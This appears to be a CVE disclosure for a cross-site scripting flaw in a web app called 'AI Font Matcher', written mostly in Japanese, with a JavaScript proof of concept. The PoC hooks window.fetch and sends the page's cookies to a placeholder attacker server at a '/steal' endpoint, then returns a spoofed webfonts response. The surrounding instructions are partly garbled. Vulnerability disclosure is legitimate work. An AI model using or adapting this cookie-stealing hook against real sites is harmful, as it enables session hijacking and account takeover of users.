
CVE ID: CVE-2025-63708
Assigned: 11-12-2025
Problem Type: CWE-79 (クロスサイトスクリプティング)
Affected Product: “AI Font Matcher” (2025-10-10投稿, nid=18425)
Product page: https://www.sourcecodester.com/javascript/18425/ai-font-matcher-using-html-css-and-javascript-source-code.html
Discovery date: 2025-10-11
Researcher: Dylan Davis
このアプリケーションは、webfonts フェッチから取得したデータを、フォントファミリー名をサニタイズせずに処理します。このレスポンスを制御または傍受した攻撃者は、ページコンテキストで実行されるJavaScriptを注入でき、セッションCookieの窃取とアカウント乗っ取りが可能になります。
このPoCは、window.fetchをフックし、制御されたWeb Fontsペイロードを返すことでコード実行を示します。
poc.jsを読み込みます)。webfontsをフェッチするUIをトリガーし、alert(1)が表示されることを確認します。window.__origFetch = window.fetch;
window.fetch = async function(input, init) {
const url = (typeof input === 'string') ? input : input?.url;
if (url && url.includes('webfonts')) {
// Exfiltrate cookie to your server
fetch('http://[your-ip]:8001/steal?cookie=' +
encodeURIComponent(document.cookie))
.catch(e => console.log('Exfil failed:', e));
return new Response(JSON.stringify({
kind: "webfonts#webfontList",
items: [{ family: "Playfair Display", category: "serif" }]
}), {
status: 200,
headers: {'Content-Type': 'application/json'}
});
}
return window.__origFetch.apply(this, arguments);
};